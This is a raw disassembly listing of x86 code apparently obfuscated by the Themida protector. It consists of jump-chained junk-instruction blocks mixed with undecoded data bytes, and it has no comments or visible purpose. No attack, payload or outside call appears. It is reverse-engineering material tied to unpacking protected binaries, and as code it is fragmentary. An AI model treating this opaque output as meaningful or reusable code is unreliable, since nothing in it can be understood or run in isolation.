		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_552A32
; ---------------------------------------------------------------------------
		dd 8104C483h, 4C5h, 242C8700h, 3A5E2D5Ch, 0E8295430h, 303A5E05h
		dd 0C3315D54h, 0FFBDCBE9h, 5AD589FFh, 0FF8D86E9h, 28F64FFh
		dd 0FF638FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559559:				; CODE XREF: Themida_:0055771Bj
		mov	bh, 5Ch
		mov	dh, bh
		pop	ebx
		sub	dh, 1
		xchg	bl, dh
		jmp	loc_5556D1
; ---------------------------------------------------------------------------
		dd 12F5E981h, 0E1C14B44h, 3EE98104h, 31859B85h,	0D83159CBh
		dd 585B505Bh, 610DC181h, 0BBE971A1h, 4FFFFFB5h,	0E94F4F4Fh
		dd 0FFFFEBCFh, 4B951h, 0C8010000h, 24048759h, 1257E9h
		db 0
; ---------------------------------------------------------------------------


loc_5595A5:				; CODE XREF: Themida_:00552F5Cj
		mov	eax, 47B87552h
		add	eax, 33F72C2Ch
		jmp	loc_559148
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 241A12CEh, 4245C01h, 83241C8Bh, 0CEE904C4h
		dd 50FFFFECh, 19AFE9h, 0F8EE8100h, 810D9A3Dh, 0C0510AC6h
		dd 0C6814E15h, 75C942F0h, 875EF701h, 0B9E9243Ch, 83FFFFF4h
		dd 85E904C4h, 0B400000Dh, 8ECC0DBh, 0E934E480h,	0FFFFB752h
		dd 6C3B6866h, 24148966h, 210CE9h, 34FF5800h, 89515E24h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 4C6815Ch, 0E9000000h
		dd 0FFFF70C8h
; ---------------------------------------------------------------------------


loc_559634:				; CODE XREF: Themida_:00550226j
		add	esi, 4
		add	esi, 4
		jmp	loc_55200F
; ---------------------------------------------------------------------------


loc_559642:				; CODE XREF: Themida_:0055333Ej
		mov	esi, 4CC1126Ch
		push	145Eh
		mov	[esp], ebp
		jmp	loc_559703
; ---------------------------------------------------------------------------


loc_559654:				; CODE XREF: Themida_:00555BF0j
		mov	eax, 102B3ED9h
		shl	eax, 4
		add	eax, 864A8BAFh
		sub	esi, eax
		pop	eax
		mov	ecx, esi
		pop	esi
		shl	ecx, 3
		push	edi
		mov	edi, 22A5565Eh
		add	edi, 1C7A7685h
		inc	edi
		sub	edi, 598D1E20h
		xor	edi, 0D8BBDF3Dh
		jmp	loc_55B47E
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 4105866h,	51E99C24h, 59FFFF62h, 3BFABD55h
		dd 0DDF71372h, 0FFA764E9h, 240489FFh, 0FFD94CE9h, 0E9B8B7FFh
		dd 0FFFFD72Fh, 52241C89h, 0D41AC568h, 8148E97Ch, 0C281FFFFh
		dd 6BFB7EB3h, 0EA81DA01h, 6BFB7EB3h, 2BD555Bh, 1000000h
		dd 40E95DEAh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5596DF:				; CODE XREF: Themida_:00553143j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	612h
		jmp	loc_5599C5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 12E9241Ch
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559703:				; CODE XREF: Themida_:0055964Fj
		mov	ebp, 2D23B86h
		inc	ebp
		jmp	loc_55461C
; ---------------------------------------------------------------------------


loc_55970E:				; CODE XREF: Themida_:0055AAA1j
		xor	edi, [esp]
		pop	esp
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		jmp	loc_550AF3
; ---------------------------------------------------------------------------


loc_55971D:				; CODE XREF: Themida_:005589D8j
		mov	ebp, esp
		jmp	loc_556D3F
; ---------------------------------------------------------------------------
		dd 0DBA52ADh, 0E915EC44h, 0FFFFA702h, 0A27143BEh, 5DEE2933h
		dd 0FF1C7709h, 0E95E2434h, 0FFFF9BF6h, 2DE9565Fh, 68FFFFD6h
		dd 4C1Fh, 51243C89h, 14066AB9h,	59CF891Ch, 0E95FFD31h
		dd 233Ah, 240C8B66h, 0FF83B6E9h, 68F581FFh, 29FA1F80h
		dd 81435DEBh, 0FF45C3EBh, 95EB8112h, 31A79155h,	0F665BD8h
		dd 0EC8300B6h, 241C8904h, 5550E389h, 817A22BDh,	3E5C176h
		dd 3B73C581h, 0E889B713h, 83242C8Bh, 6804C4h, 0E9000000h
		dd 0FFFFECB3h, 850DE8D1h, 2D520C4Bh, 4888243Dh,	0E9D88405h
		dd 58C301CDh, 6D25E955h, 0C481FFFFh, 4,	307868h, 24048900h
		dd 0BD72DCB8h, 8D28056Dh, 0C3019242h, 4B85058h,	29000000h
		dd 1C3358C3h, 241C3124h, 0E9241C33h, 0FFFFD70Dh, 0E9240C89h
		dd 0FFFF60E0h, 2424895Ch, 0FF64B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559811:				; CODE XREF: Themida_:00553A4Dj
		pop	ecx
		dec	ebx
		shl	ebx, 2
		sub	ebx, 0FFFFFFFFh
		add	ebx, 0EF9DB3B7h
		push	2900h
		mov	[esp], ebx
		inc	dword ptr [esp]
		pop	ebx
		shl	ebx, 1
		push	edx
		mov	edx, 58BC2D6Ah
		jmp	loc_55B8CE
; ---------------------------------------------------------------------------
		db 0BEh
		dd 180C7138h, 7F61CE81h, 0CE81283Eh, 0ADC4C3Fh,	0FB84C681h
		dd 0F20120C8h, 81DA295Eh, 0C77B03EAh, 241C8B5Bh, 0FF9F56E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559865:				; CODE XREF: Themida_:0055BD11j
		jmp	loc_54F8E8
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 81241C8Bh, 4C4h, 6D685200h, 8900005Fh, 87E9240Ch
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559883:				; CODE XREF: Themida_:005588D0j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_55B3DB
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 4C481h, 0C1010000h, 240C3358h, 33240C31h, 248B240Ch
		dd 4216624h, 35E99C24h,	83FFFF60h, 0EFE904C5h, 0B9000020h
		dd 65B40166h, 0F54D9FBDh, 59CD0101h, 0E95DEE89h, 0FFFFB744h
		dd 81241C8Bh, 4C4h, 8E94200h, 1FFFFD1h,	0BB535BD8h, 4
		dd 6376B951h, 0F18131CBh, 54B13362h, 0D1F7D1F7h, 5E98149h
		dd 291225FEh, 8CCBE9C8h, 0CB00FFFFh, 0E97AC380h, 0FFFFDFDDh
		dd 0EB81DBF7h, 60B77735h, 4AEB814Bh, 1173525h, 79685BDAh
		dd 89000021h, 77BB241Ch, 565A9A2Dh, 0FFFF06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559935:				; CODE XREF: Themida_:0055914Dj
		xor	eax, 2B740239h
		sub	eax, 2F80BEE2h
		add	edx, eax
		jmp	loc_550448
; ---------------------------------------------------------------------------


loc_559946:				; CODE XREF: Themida_:00552420j
		xchg	edi, [esp]
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		push	6572h
		mov	[esp], eax
		jmp	loc_552688
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 14BBh, 6775EA68h, 0BBE95A75h, 89FFFF6Fh
		dd 0E7815EF7h, 413F3613h, 8745EF87h, 0F7814FEFh, 40143207h
		dd 381DC281h, 0FA011565h, 381DEA81h, 815F1565h,	2C2h, 33FB6800h
		dd 14890000h, 2474FF24h, 48F5A04h, 24248B24h, 0E0E95452h
		dd 6600001Ch, 81240C8Bh, 4ECh, 242C8900h, 0FFC72AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5599C5:				; CODE XREF: Themida_:005596F6j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_558A4F
; ---------------------------------------------------------------------------
		dd 0D75BEB81h, 0DA01A739h, 91EA815Bh, 29103C23h, 0A90EE9C2h
		dd 0EA81FFFFh, 347A76A9h, 0FF628DE9h, 5E089FFh,	4, 205h
		dd 24048700h, 0D9A9E95Ch, 0BA52FFFFh, 2Ch, 0FFE762E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559A15:				; CODE XREF: Themida_:0055B019j
		pop	esi
		jmp	loc_558388
; ---------------------------------------------------------------------------
		db 56h
		dd 8C1FC3BEh, 5C6815Fh,	464EF208h, 0DF36E94Eh, 5066FFFFh
		dd 0FFE961E9h, 0ADE981FFh, 0E910152Ah, 1849h, 24148B66h
		dd 2C481h, 16E90000h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559A4F:				; CODE XREF: Themida_:0055B4D5j
		xor	eax, ebx
		pop	ebx
		jmp	loc_55AC33
; ---------------------------------------------------------------------------


loc_559A57:				; CODE XREF: Themida_:005553F5j
		mov	ecx, edx
		jmp	loc_55B2E8
; ---------------------------------------------------------------------------


loc_559A5E:				; CODE XREF: Themida_:00552311j
		mov	ebx, 4A407652h
		dec	ebx
		xor	ebx, 35C66269h
		jmp	loc_556569
; ---------------------------------------------------------------------------


loc_559A6F:				; CODE XREF: Themida_:00555367j
		push	eax
		jmp	loc_55B053
; ---------------------------------------------------------------------------
		db 0B8h, 88h, 13h
		dd 240502A5h, 2D333035h, 35D548A8h, 9AE9C601h, 0E9FFFFC7h
		dd 0FFFF5E58h, 0B7241C89h, 0FEC7FE9Fh, 0B45066C7h, 66E73091h
		dd 4EE95058h, 1FFFFE8h,	0BD5559CBh, 2, 0E95DEB01h, 0FFFFC9CBh
		dd 0C681E689h, 4, 8704EE83h, 895C2434h,	0D8B3241Ch, 65B65266h
		dd 15E9F300h, 80FFFF76h, 48B32EBh, 4C48324h, 5BE9DD30h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_559AE7:				; CODE XREF: Themida_:00552F3Bj
		dec	ebp
		jmp	loc_55219B
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2404FF5Ch, 5DEEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559AFA:				; CODE XREF: Themida_:00551D0Dj
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		push	edx
		mov	edx, esp
		jmp	loc_554A77
; ---------------------------------------------------------------------------


loc_559B0F:				; CODE XREF: Themida_:005540FDj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3F6C74A0h
		jmp	loc_55B74E
; ---------------------------------------------------------------------------
		dw 4958h
		dd 664EE941h, 814DFFFFh, 3E33C8CDh, 0F7BB5325h,	29390274h
		dd 5E555BDDh, 42F7BB5Dh, 0EB817C3Ch, 3152A1Fh, 0C381F329h
		dd 3152A1Fh, 1C5F215Eh,	1F11E95Bh, 0C330000h, 24248B24h
		dd 0E99CC885h, 0FFFFA7C9h, 31243C33h, 3C33243Ch, 24248B24h
		dd 2424D366h, 5D5AE99Ch, 2C8BFFFFh, 0DF0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_559B96:				; CODE XREF: Themida_:005564BAj
		sub	esi, 5339314Eh
		and	esi, 778A61B9h
		push	eax
		mov	eax, 5A2E7323h
		and	eax, 67185A9Fh
		not	eax
		sub	eax, 407B7D9Fh
		add	eax, 93454E28h
		add	esi, eax
		pop	eax
		add	esi, 23F8780Dh
		mov	edx, esi
		pop	esi
		xor	edx, 77F105Dh
		jmp	loc_55486C
; ---------------------------------------------------------------------------
		dd 4C7815Bh, 87000000h,	248B243Ch, 24E95724h, 87FFFFEBh
		dd 0E95C243Ch, 149Eh, 34FFD988h, 0C4815B24h, 4,	0D2E9C800h
		dd 57FFFF84h, 3C5E9h, 15276800h, 3558115Fh, 63CF23A2h
		dd 8158C389h, 0D20C2ECBh, 5E3C11Bh, 0FFADDBE9h,	14BF57FFh
		dd 0B85E7372h, 74BCAC0Dh, 907F905h, 0E9F82934h,	0FFFF9510h
		dd 0E924248Bh, 0FFFFDEF9h, 4EC835Ch, 0E9243C89h, 0FFFFC7AFh
		dd 8B24048Fh, 8B662424h, 76682404h, 89000005h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_559109
; ---------------------------------------------------------------------------


loc_559C76:				; CODE XREF: Themida_:00557538j
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_55B991
; ---------------------------------------------------------------------------
		db 81h
		dd 0A57B4BC5h, 0EA015973h, 2BF575Dh, 1000000h, 10E95FFAh
		dd 81FFFFB9h, 4C3h, 241C8700h, 5D4685Ch, 0C890000h, 2474FF24h
		dd 79E95904h, 87FFFFFFh, 248B243Ch, 116E924h, 0EA810000h
		dd 4, 80568h, 613EE900h, 0FF53FFFFh, 5B042474h,	5C24048Fh
		dd 0E99CC138h, 0FFFF5BE8h, 0EDC1DDF7h, 88C58105h, 0E9030D1Bh
		dd 0FFFFC698h, 0EC83E589h, 24348904h, 4BEh, 5EF50100h
		dd 2BB5356h, 89000000h,	241C8BDEh, 5585450h, 4,	5004C083h
		dd 0FFE95DE9h, 4C481FFh, 0E9000000h, 0FFFF8A51h, 2474FF55h
		dd 48F5D04h, 0D7D5E924h, 0F75DFFFFh, 0DB4DE9D0h, 0E95CFFFFh
		dd 0FFFF8ACAh, 2200F381h, 0DD890080h, 1C6F095Bh, 8B2434FFh
		dd 0C481242Ch, 4, 81E38953h, 4C3h, 4C38300h, 0E9241C87h
		dd 0B0Ch
; ---------------------------------------------------------------------------


loc_559D90:				; CODE XREF: Themida_:00553A31j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5562D8
; ---------------------------------------------------------------------------


loc_559D9E:				; CODE XREF: Themida_:00554F19j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	1FB95A10h
		mov	edx, [esp]
		add	esp, 4
		dec	edx
		jmp	loc_55124F
; ---------------------------------------------------------------------------
		db 33h
		dd 3C31243Ch, 243C3324h, 52E1F75Ch, 8904EC83h, 4832424h
		dd 535A0424h, 0FDE9E389h, 81FFFFEDh, 706790EEh,	0E9DE0120h
		dd 0FFFFDB12h, 53241489h, 241C8B54h, 0FFF9CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559E01:				; CODE XREF: Themida_:00552379j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	584h
		mov	[esp], ebp
		jmp	loc_55310F
; ---------------------------------------------------------------------------


loc_559E18:				; CODE XREF: Themida_:0055A8C6j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		push	eax
		jmp	loc_556033
; ---------------------------------------------------------------------------
		db 0BEh, 4, 0
		dd 0F3290000h, 241C875Eh, 0FF9E81E9h, 0D80159FFh, 0DD9B951h
		dd 5F2D4BD0h, 0E94F071Bh, 0FFFF8CEBh
; ---------------------------------------------------------------------------


loc_559E4C:				; CODE XREF: Themida_:00550747j
		mov	edi, 6A751317h
		sub	ebp, edi
		pop	edi
		jmp	loc_552A72
; ---------------------------------------------------------------------------
		db 0B3h, 6Fh, 80h
		dd 0DD2003C3h, 0FCED805Bh, 0FFE04BE9h, 0E98149FFh, 119209D0h
		dd 792BE981h, 0CA01EF65h, 81240C8Bh, 4C4h, 24143300h, 33241431h
		dd 248B2414h, 4016624h,	51E99C24h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559E97:				; CODE XREF: Themida_:005549C4j
		push	esi
		push	eax
		push	792614BDh
		pop	eax
		and	eax, 0E345315h
		dec	eax
		add	eax, 558E51ADh
		jmp	loc_55385A
; ---------------------------------------------------------------------------


loc_559EAF:				; CODE XREF: Themida_:00556BF1j
		sub	ebp, 5B97088h
		xor	ebp, 9DBA6619h
		add	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 3DFB68BDh
		push	ecx
		jmp	loc_5520AF
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 5104C483h, 0BA52E189h, 14583B87h,	4207E2C1h
		dd 0C106E2C1h, 0F28106E2h, 57D34586h, 20F0BF57h, 0BE565591h
		dd 221F2827h, 0FFC3BEE9h, 80D5F6FFh, 0EE305DF5h, 0FFE6F3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_559F09:				; CODE XREF: Themida_:005563F6j
		push	20E8h
		mov	[esp], ecx
		xor	dword ptr [esp], 0E13C0Dh
		pop	esi
		xor	esi, 0E13C0Dh
		pop	ecx
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_555BC5
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 7Ch
		dd 129A22Ah, 241C8BDFh,	0E904C483h, 0FFFF98C9h,	0BE243489h
		dd 5D6A417Eh, 0FFD82EE9h, 70BA52FFh, 0B92B8714h, 0AC48CFF0h
		dd 15AD101h, 0C98158C1h, 778A17F8h, 0FBF18141h,	0E97F9F3Fh
		dd 0FFFFFB33h, 9D1C77FFh, 24041158h, 5966E99Ch,	0E7C1FFFFh
		dd 0E9574F06h, 0FFFF8338h
; ---------------------------------------------------------------------------


loc_559F8C:				; CODE XREF: Themida_:00558E18j
		pop	eax
		shr	ebx, 1
		xor	ebx, 766BE147h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, 37980F47h
		jmp	loc_556714
; ---------------------------------------------------------------------------
		db 89h
		dd 0BD552404h, 1BF069A4h, 0C15DE889h, 702503E0h, 5363474Dh
		dd 0F4426068h, 0D8315B43h, 0A7C9E95Bh, 5F54FFFFh, 4BA52h
		dd 57E90000h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_559FD7:				; CODE XREF: Themida_:005557D9j
		pop	esi
		jmp	loc_554FAB
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E18951h, 4C1h, 4E98100h, 51000000h, 42474FFh, 6EEE959h
		dd 15A0000h, 81082444h,	2308246Ch, 5830052Eh, 0FFCED5E9h
		dd 58D6E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A012:				; CODE XREF: Themida_:005554BBj
		mov	ecx, esp
		jmp	loc_556837
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4626824h, 14890000h,	81E28924h, 4C2h, 9DE6800h, 4890000h
		dd 8344E924h, 5056FFFFh, 9B28C6B8h, 4815019h, 5F506624h
		dd 0EE815E7Ch, 7C5F5066h, 0FF84E4E9h, 0DB850FFh, 0C1376224h
		dd 812D04E0h, 355F5673h, 7EA25E5Dh, 158C529h, 8913E9EEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A072:				; CODE XREF: Themida_:00554B79j
		push	dword ptr [eax]
		jmp	loc_553A8C
; ---------------------------------------------------------------------------


loc_55A079:				; CODE XREF: Themida_:0055B921j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5513B5
; ---------------------------------------------------------------------------
		db 4Ah,	83h, 0ECh
		dd 24048904h, 5626EB8h,	7D83E9F3h, 814BFFFFh, 6A4390F3h
		dd 0C9E3811Ch, 814A9C71h, 0FFFFFFEBh, 0FFEB83FFh, 0E72AE951h
		dd 0CB00FFFFh, 81240C8Bh, 4C4h,	0D9B25200h, 30C6EA80h
		dd 0D8305AD3h, 4C5E9h, 0C3085A00h, 0C0C3FE58h, 506607EBh
		dd 0E30076B4h, 24048B66h, 2C481h, 0D8000000h, 1E2C5Bh
		dd 0E91E04D8h, 0DBh
; ---------------------------------------------------------------------------


loc_55A0F8:				; CODE XREF: Themida_:00556F84j
		mov	edi, esp
		push	79E9h
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_54F8EE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 0F842E904h, 248BFFFFh, 24048124h, 75D0773Ah
		dd 0D240481h, 81527E73h, 7D452404h, 42952C3h, 242C8124h
		dd 52C37D45h, 146E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A141:				; CODE XREF: Themida_:005583E0j
		xor	ebx, 64F91ED1h
		sub	ebx, 3EE36CDEh
		push	ebx
		neg	dword ptr [esp]
		pop	ebx
		add	ebx, 0DF40D462h
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5501AF
; ---------------------------------------------------------------------------


loc_55A163:				; CODE XREF: Themida_:005591F1j
		sub	ebx, 21ED401Bh
		add	edi, ebx
		jmp	loc_55078D
; ---------------------------------------------------------------------------
		dd 350968h, 243C8900h, 0BEE9E789h, 64FFFF6Ch, 61E932FFh
		dd 83FFFF57h, 2C8904ECh, 81C58924h, 4ECh, 24048900h, 40B8h
		dd 4EC8100h, 89000000h,	0DABF243Ch, 0E9023416h,	0FFFFB9CFh
		dd 0A2B9E957h, 0E189FFFFh, 4C181h, 57500000h, 9A111668h
		dd 0EFD15F49h, 0F779C781h, 35E9DB32h, 81FFFF84h, 2ECh
		dd 14896600h, 2877B624h, 685A66F0h, 6AEBh, 0B6241489h
		dd 0BCF68055h, 0FF5B36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A1F5:				; CODE XREF: Themida_:00556D4Bj
		push	eax
		mov	eax, 6EF32EE2h
		xor	ecx, eax
		jmp	loc_554DFB
; ---------------------------------------------------------------------------


loc_55A202:				; CODE XREF: Themida_:00552FF4j
		pop	ecx
		jmp	loc_552500
; ---------------------------------------------------------------------------
		dd 0ED81C529h, 387611A9h, 81E5D158h, 0F06276F5h, 5DE9017Eh
		dd 46852h, 15A0000h, 0BAB7E9D1h, 3166FFFFh, 0F66866CFh
		dd 3C896673h, 0EEB2E924h, 0CF01FFFFh, 57B9C781h, 875912A9h
		dd 0CFE9243Ch, 8BFFFFFEh, 0C483240Ch, 84C18104h, 0E9BA5097h
		dd 0FFFF93F3h
; ---------------------------------------------------------------------------


loc_55A25C:				; CODE XREF: Themida_:00551256j
		shl	ebx, 8
		inc	ebx
		or	ebx, 3F4A0411h
		or	ebx, 48C320B7h
		sub	ebx, 0EA12883Ch
		jmp	loc_559500
; ---------------------------------------------------------------------------
		db 53h
		dd 0FFA273E9h, 66D828FFh, 18E95052h, 8100000Bh,	730D242Ch
		dd 8868527Eh, 89000052h, 0BA52241Ch, 75D0773Ah,	295AD389h
		dd 0FF04245Ch, 95E92434h, 0BFFFFF6Eh, 4, 835FF801h, 48704C0h
		dd 81685C24h, 8900001Fh, 4CE92414h, 81FFFFBFh, 4571AF6h
		dd 5EF1896Ch, 36C7BA52h, 0EA81044Ah, 0DE4098Eh,	9C66F281h
		dd 0C181C5F3h, 5E76703h, 0E981D129h, 5E76703h, 7710E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A2F6:				; CODE XREF: Themida_:0055AAF5j
		xor	edi, 78816FEEh
		mov	eax, edi
		pop	edi
		sub	ebx, eax
		jmp	loc_553069
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0B775B224h, 0B6B65248h, 0FFB938E9h, 4C483FFh, 2C681h
		dd 34330000h, 24343124h, 8B243433h, 5E92424h, 8BFFFF94h
		dd 0F7662424h, 0F2CAE9F1h, 0EC83FFFFh, 0EE9EE904h, 0E1C0FFFFh
		dd 77E98003h, 0FFFD69E9h, 2C8157FFh, 580A2024h,	24148B1Ch
		dd 8104C483h, 580A20C2h, 29E95F1Ch, 81FFFF95h, 0C95FB3CDh
		dd 0ED814D41h, 0E5DFFFB6h, 0E95DE901h, 0FFFF86EBh, 0F49EA81h
		dd 0D031F377h, 2449685Ah, 2C890000h, 45336824h,	3C890000h
		dd 3717BF24h, 1AE936CFh, 64FFFFBDh, 2B60F66h, 55E38953h
		dd 573FF7BDh, 0EFCD815Bh, 0C179D67Ch, 0E5C103E5h, 0ED814D02h
		dd 36637AC4h, 6319ED81h, 0C581F6D8h, 0B24BDE02h, 2C8BEB01h
		dd 58545024h, 405h, 0F1B6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3DE:				; CODE XREF: Themida_:005548BBj
		mov	eax, 262244C3h
		xor	edi, eax
		pop	eax
		xor	eax, edi
		jmp	loc_554E6B
; ---------------------------------------------------------------------------


loc_55A3ED:				; CODE XREF: Themida_:00551376j
		pop	ecx
		push	edx
		mov	edx, 18350D47h
		jmp	loc_550E32
; ---------------------------------------------------------------------------
		db 68h,	45h, 37h
		dd 4890000h, 56E08924h,	0FF9F93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A409:				; CODE XREF: Themida_:00558E44j
		shl	eax, 4
		add	eax, 4593BDF8h
		jmp	loc_5543BD
; ---------------------------------------------------------------------------


loc_55A416:				; CODE XREF: Themida_:0055530Fj
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	edi, 23462EFDh
		add	edi, ecx
		jmp	loc_558855
; ---------------------------------------------------------------------------


loc_55A42A:				; CODE XREF: Themida_:005536E9j
		pop	esp
		jmp	loc_55076C
; ---------------------------------------------------------------------------
		dd 0ED81F501h, 0A2E72DFh, 2C5815Eh, 87000000h, 248B242Ch
		dd 1940E924h, 0E95E0000h, 0FFFF8877h, 6804C483h, 5292h
		dd 54241C89h, 4BE565Bh,	1000000h, 0B22E9F3h, 0F7660000h
		dd 669166D0h, 3166CF31h, 0FDB0E9F9h, 0C6FEFFFFh, 0DEF6DEF6h
		dd 2085B151h, 0C68059CEh, 5AF500F0h, 34FFE828h,	240C8B24h
		dd 4C481h, 0EC830000h, 5F8BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A4A2:				; CODE XREF: Themida_:005590B9j
		sub	dword ptr [esp], 22A72BA4h
		pop	edi
		add	edi, 22A72BA4h
		jmp	loc_552FB8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aRithH		db '$Rh*H',0
		dd 5482E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A4C6:				; CODE XREF: Themida_:00550CE0j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	ebx
		mov	bh, 4Ch
		jmp	loc_54FFEE
; ---------------------------------------------------------------------------
		db 55h,	54h, 5Dh
		dd 0FFB5FFE9h, 4EC83FFh, 0FFDE6EE9h, 2434FFFFh,	0F84FE959h
		dd 0D001FFFFh, 97B9515Ah, 4911E653h, 2414F751h,	0FFE44FE9h
		dd 3ABEB8FFh, 0C5814076h, 387611A9h, 0FFFCF7E9h, 0E9E681FFh
		dd 5729B21Bh, 202726BFh, 8BFE0150h, 9E9243Ch
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A527:				; CODE XREF: Themida_:00556B0Aj
		mov	eax, 4
		add	esi, eax
		pop	eax
		jmp	loc_5577EC
; ---------------------------------------------------------------------------
		dd 97BAE95Dh, 34FFFFFFh, 0E9535924h, 0FFFF95D0h
; ---------------------------------------------------------------------------


loc_55A544:				; CODE XREF: Themida_:00556902j
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebp, edx
		mov	edx, [esp]
		jmp	loc_55137B
; ---------------------------------------------------------------------------


loc_55A55A:				; CODE XREF: Themida_:0054FF8Fj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		and	ecx, esi
		pop	esi
		shr	ecx, 0
		or	eax, eax
		jz	loc_55488D
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		jmp	loc_551CDA
; ---------------------------------------------------------------------------
		dd 0FC20E951h, 835BFFFFh, 0C8904ECh, 0E9F4B524h, 0FFFFEE46h
		dd 4B951h, 0CE290000h, 83240C8Bh, 348704C4h, 24248B24h
		dd 50241489h, 0E3E99Ch,	0FE590000h, 0B35351CBh,	0B25266E1h
		dd 66D3306Eh, 0EB6525Ah, 805AF308h, 6DE985C3h, 0FFFFFFE6h
		dd 0FF042474h, 48B2434h, 4C48124h, 56000000h, 0FF5D81E9h
		dd 5BD989FFh, 12C98141h, 50646D6Ch, 0FF5ABEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A605:				; CODE XREF: Themida_:00552D13j
		add	edi, 37780914h
		or	edi, 54697004h
		shr	edi, 1
		add	edi, 660B6757h
		add	edi, 5BEEE9A8h
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55BFD4
; ---------------------------------------------------------------------------


loc_55A649:				; CODE XREF: Themida_:00558F8Cj
		add	edi, 4
		sub	edi, 4
		jmp	loc_556A68
; ---------------------------------------------------------------------------
		dw 76B8h
		dd 0BF45AD59h, 45AD5974h, 0FF84C7E9h, 0C8B66FFh, 5D946824h
		dd 0C890000h, 0E9E18924h, 0FFFF9719h, 0BB53F801h, 40F53C29h
		dd 535BD829h, 1A18BF57h, 0BBE95EC6h, 89FFFF86h,	0E953242Ch
		dd 0FFFFBD68h
; ---------------------------------------------------------------------------


loc_55A69C:				; CODE XREF: Themida_:005586B2j
		pop	edx
		sub	bl, 0A6h
		jmp	loc_550ECA
; ---------------------------------------------------------------------------
